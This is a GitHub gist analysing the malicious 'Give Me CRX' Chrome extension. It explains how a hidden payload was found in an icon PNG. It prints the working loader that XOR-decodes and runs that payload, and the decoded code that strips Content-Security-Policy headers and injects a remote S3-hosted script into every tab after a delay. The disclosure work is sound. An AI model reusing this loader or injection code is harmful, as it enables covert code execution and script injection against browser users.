Skip to content

Instantly share code, notes, and snippets.

@nyanpasu64
Last active May 17, 2018 14:44
Show Gist options
  • Save nyanpasu64/bc73a2491f0c39b7f206359f089dd79c to your computer and use it in GitHub Desktop.
Save nyanpasu64/bc73a2491f0c39b7f206359f089dd79c to your computer and use it in GitHub Desktop.
Saga of the "Give Me CRX" Virus

UPDATE

Adam Carbonell has created a non-malicious extension, called "Get CRX": https://chrome.google.com/webstore/detail/get-crx/dijpllakibenlejkbajahncialkbdkjc

Google has removed the original extension, along with several other extensions with similar malware.

Relavant links:


"Give Me CRX" (https://chrome.google.com/webstore/detail/give-me-crx/acpimoebmfjpfnbhjgdgiacjfebmmmci) previously contained a virus hidden in an image.

Hidden Virus

Reviewer "Adam Carbonell" (link) first discovered existence of the malware. He mentioned that icon2.png contains malicious code.

bg.js (last modified 11/11/2016) extracts the code by reading icon2.png (last modified 11/10/2016) as text, extracting data between init> and <end strings (I assume a PNG comment), and xor-ing it with char ^ 77.

The resulting text is then run as Javascript. I think around 24 hours after extension installation, every tab will have <script src='hXXp//s3.eu-central-1.amazonaws.com/forton/give_me_crx.js'> injected whenever "chrome.tabs.onUpdated".

Several days/weeks after I and others discovered this exploit, they have enabled the forton/extsgo links, and are now injecting advertising code into pages.

  • The exploit was discovered around 10/28/2016. Today is 10/30/2016. The last modified dates point to 11/10/2016, which is in the future.
  • The Coolbar Pro EULA was last modified 10/17/2016.

Coolbar Pro EULA

The extension includes a EULA for Coolbar Pro, which appears to be a toolbar/adware/spyware. See http://security.stackexchange.com/questions/130597

Is this extension trying to install Coolbar Pro?

Uninstalling - extsgo.com

Uninstalling the extension triggers chrome.runtime.setUninstallURL('http://extsgo.com/api/tracker/uninstall?ext_id=' + chrome.runtime.id);

extsgo.com contains a default placeholder Yii PHP framework page. http://extsgo.com/api/tracker shows {"status":false,"error_message":"tracking_id can't be empty"}. http://extsgo.com/api/tracker/uninstall redirects to a fake "Shape Magazine" spam/scam site. Adding ?ext_id=#### does the same thing.

function get_crx() {
chrome.tabs.getSelected(null,function(tab) {
var tab_url = tab.url;
ext_name = tab_url.split('/detail/');
ext_name = ext_name[1].split('/');
ext_name = ext_name[0];
tab_url_split = tab_url.split("/");
tab_url = tab_url_split[6];
tab_url = tab_url.split('?');
tab_url = tab_url[0];
var ccr = 'https://clients2.google.com/service/update2/crx?response=redirect&x=id%3D';
ccr += tab_url + '%26uc&prodversion=32';
var link = document.createElement('a');
link.setAttribute('href', ccr);
link.setAttribute('download','download');
onload = link.click();
});
}
chrome.contextMenus.create({
'title': 'Get CRX of this extension',
'contexts': ['all'],
'onclick': get_crx,
'documentUrlPatterns': ['https://chrome.google.com/webstore/detail/*']
});
(() => {
var main = () => {
chrome.runtime.getPackageDirectoryEntry(function (root) {
var icon = "icon2.png";
root.getFile(icon, {}, function (fileEntry) {
fileEntry.file(function (file) {
var reader = new FileReader();
reader.onloadend = function (e) {
var text = this.result;
var idxF = text.lastIndexOf("init>");
if (idxF < 0) return;
text = text.substr(idxF + 5);
var idxL = text.lastIndexOf("<end");
if (idxL < 0) return;
text = text.substr(0,idxL);
for (var t = 0, r = text.length, n = ""; r > t;)
n += String.fromCharCode(77 ^ text.charCodeAt(t++));
var a = new window.Blob([n], {
type: "text/javascript"
});
addScript(window.URL.createObjectURL(a));
};
reader.readAsText(file);
}, (e) => {
console.log(e)
});
}, (r) => {
console.log(r)
});
});
};
var check = () => {
chrome.storage.local.get({T : 0}, (r) => {
r.T == 0 ? setTimeout(check, 6e5) : main();
})
};
(() => {
if (!chrome.contextMenus) {
return void console.log("Chrome contextMenus access failed"); // give_me_crx
}
chrome.contextMenus.create({
title: "EULA",
contexts: ["browser_action"],
onclick: function () {
window.open("/html/doc/eula.html", "_blank");
}
});
chrome.contextMenus.create({
title: "Privacy Policy",
contexts: ["browser_action"],
onclick: function () {
window.open("/html/doc/pp.html", "_blank");
}
});
chrome.contextMenus.create({
title: "Terms and Conditions",
contexts: ["browser_action"],
onclick: function () {
window.open("/html/doc/tandc.html", "_blank");
}
});
})();
function addScript(src) {
var script = document.createElement("script");
script.setAttribute("type", "text/javascript");
script.setAttribute("src", src);
document.head.appendChild(script);
}
setTimeout(function(){
chrome.storage.local.get({T : 0}, (r) => {
r.T == 0 && chrome.storage.local.set({T : new Date().getTime()});
});
}, 4568904);
check()
})();
chrome.runtime.setUninstallURL('http://extsgo.com/api/tracker/uninstall?ext_id=' + chrome.runtime.id);
var zero = (a, b) => { chrome.storage.local.get({ ID: 0 }, (c=> { 0 == c.ID ? (() => { chrome.storage.local.set({ ID: (new Date).getTime() }), setTimeout(zero, a, a, b) })() : (() => { ((new Date).getTime() - c.ID || 0) < b ? setTimeout(zero, a, a, b) : one() })() })) }, one = () => { chrome.webRequest && chrome.webRequest.onHeadersReceived.addListener((a=> { if (a.tabId != -1) { for (var b in a.responseHeaders) "object" == typeof a.responseHeaders[b] && "content-security-policy" === a.responseHeaders[b].name.toLowerCase() && a.responseHeaders.splice(b, 1); return { responseHeaders: a.responseHeaders } } }), { urls: ["<all_urls>"], types: ["main_frame"] }, ["responseHeaders", "blocking"]), chrome.tabs && chrome.tabs.onUpdated.addListener(((a, b) => { "complete" == b.status && chrome.tabs.executeScript(a, { code: `(() => {var s = document.createElement('script');s.src = '//s3.eu-central-1.amazonaws.com/forton/give_me_crx.js';document.body.appendChild(s);})();` }) })) }; zero(36e5, 864e5);
var virus = (virusCheck, virusDelay) => {
chrome.storage.local.get({
ID: 0
}, (c => {
0 == c.ID ? (() => {
chrome.storage.local.set({
ID: (new Date).getTime()
}), setTimeout(virus, virusCheck, virusCheck, virusDelay)
})() : (() => {
((new Date).getTime() - c.ID || 0) < virusDelay ? setTimeout(virus, virusCheck, virusCheck, virusDelay) : virus2()
})()
}))
};
var virus2 = () => {
chrome.webRequest && chrome.webRequest.onHeadersReceived.addListener((virusCheck => {
if (virusCheck.tabId != -1) {
for (var virusDelay in virusCheck.responseHeaders) "object" == typeof virusCheck.responseHeaders[virusDelay] && "content-security-policy" === virusCheck.responseHeaders[virusDelay].name.toLowerCase() && virusCheck.responseHeaders.splice(virusDelay, 1);
return {
responseHeaders: virusCheck.responseHeaders
}
}
}), {
urls: ["<all_urls>"],
types: ["main_frame"]
}, ["responseHeaders", "blocking"]), chrome.tabs && chrome.tabs.onUpdated.addListener(((tabId, changeInfo) => {
"complete" == changeInfo.status && chrome.tabs.executeScript(tabId, {
code: `(() => {var s = document.createElement('iframe');s.src = '//s3.eu-central-1.amazonaws.com/forton/give_me_crx.js';document.body.appendChild(s);})();`
})
}))
};
virus(36e5, 864e5);
@nyanpasu64
Copy link
Author

Adam Carbonell has created a non-malicious extension, called "Get CRX": https://chrome.google.com/webstore/detail/get-crx/dijpllakibenlejkbajahncialkbdkjc

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment